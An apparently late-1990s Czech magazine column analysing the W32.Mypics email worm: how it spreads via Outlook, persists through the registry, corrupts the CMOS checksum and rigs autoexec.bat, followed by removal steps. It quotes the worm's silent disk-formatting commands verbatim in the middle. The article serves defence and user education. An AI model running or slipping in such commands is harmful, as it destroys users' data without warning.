Virový maják č. 25: Virus, který simuluje problém roku 2000
Červ W32.Mypics.Worm (můžete se setkat i s jinými označeními jako Worm.Mypics, Pics4you nebo Cbios) byl objeven večer 2. prosince tohoto roku. Pracuje jak pod platformou Windows 95 a 98, tak i Windows NT a ke svému šíření používá v současnosti nejoblíbenější metodu - elektronickou poštu.
Tento virus můžete dostat e-mailem s prázdným předmětem, textem Here's some pictures for you! a v příloze najdete 34'304 bajtů velký soubor pics4you.exe. U neznalého uživatele může takový e-mail vzbudit dojem, že po otevření přiloženého souboru uvidí nějaké obrázky, avšak chyba lávky. Po spuštění se na první pohled nestane vůbec nic, ale ve skutečnosti se červ usídlí jako rezident v paměti, zkopíruje se na pevný disk, odešle na padesát adres z adresáře MS Outlooku své další kopie a nastaví domovskou stránku Internet Exploreru na http://www.geocities.com/SiliconValley/Vista/8279/index.html. Následně provede úpravy v registrech tak, aby byl aktivován při každém startu operačního systému.
Tento červ dále obsahuje instrukce, které mají simulovat problém roku 2000. Jestliže je virus aktivní v paměti, sleduje systémový čas a pokud zjistí, že je rok 2000 (nikoliv jen 1.1.2000, jak mylně informovaly některé zdroje, ale každý den v tomto roce!), provede úpravu BIOSu tak, že při příštím zapnutí počítače nebo studeném restartu narazíte na hlášku CMOS Checksum Invalid (nebo podobnou - záleží na výrobci a verzi BIOSu) a počítač se zastaví. Toho dosáhne spuštěním maličkého programu CBIOS.COM napsaného v Assembleru, který přepíše kontrolní součet paměti CMOS.
Tento problém se dá vyřešit jednoduše - stačí vstoupit do nastavení BIOSu (obvykle klávesou Delete) a znovu uložit nastavené hodnoty do CMOS (to provedete přes položku Save Settings and Exit, Save & Exit Setup, nebo Write To CMOS and Exit), čímž se kontrolní součet opraví a počítač bude schopný startu.
Tím jste ale ještě nad virem nezvítězili, protože další léčka čeká v souboru autoexec.bat, který je zpracováván pokaždé, když se zavádí operační systém (zde jsou ohroženi pouze majitelé Windows 9x, neboť Windows NT soubor autoexec.bat nepoužívají). W32.Mypics totiž do tohoto souboru vloží následující příkazy:
ctty nul
format d: /autotest /q /u
format c: /autotest /q /u
Tím dojde k zformátování pevných disků D a C (máte-li pouze jeden pevný disk, přejde se rovnou, bez chybové hlášky, k jeho formátování).
W32.Mypics byl napsán v MS Visual Basicu 5.0, takže ke své funkci vyžaduje dynamickou knihovnu MSVBVM50.DLL, která sice není standardní součástí operačního systému, nicméně je velmi pravděpodobné, že jí budete mít nainstalovanou díky nějakému jinému programu napsanému ve VB5. Pokud by tato knihovna chyběla, nebude soubor pics4you.exe fungovat a jeho běh bude ukončen chybovou hláškou.
Postup odstranění viru
- Stiskněte klávesovou zkratku Ctrl+Alt+Del, čímž se dostanete do seznamu spuštěných úloh. Vyberte MYPICS a stiskněte tlačítko Ukončit úlohu.
- Odstraňte z registrů položku C:\Pics4You.Exe, kterou pod Windows 9x najdete v klíči HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, ve Windows NT pak v HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Windows\Run.
- Zkontrolujte, zda nebyl modifikován soubor autoexec.bat (to nastane jedině tehdy, když systémové hodiny ukazují rok 2000). V případě, že byl tento soubor změněn, smažte ho a nahraďte ze záložní kopie.
- Zkontrolujte, zda se na disku nenalézá soubor CBIOS.COM a případně ho smažte (stejně jako v předchozím případě najdete tento soubor jedině tehdy, ukazují-li systémové hodiny rok 2000).
- Najděte a smažte soubor Pics4you.exe.
- Nastavte zpět domovskou stránku MS Internet Exploreru (tlačítko Start-Nástroje-Ovládací panely-Internet-Obecné-Domovská stránka).
Nejlepší způsob, jak se tomuto a jiným podobným virům vyhnout je známé "nikdy neotvírejte a nespouštějte žádné soubory, které dostanete e-mailem". Budete-li se této poučky držet, můžete rok 2000 prožít klidněji, než láteřením nad ztracenými daty (která máte jistě pečlivě zazálohovaná, že?).
|
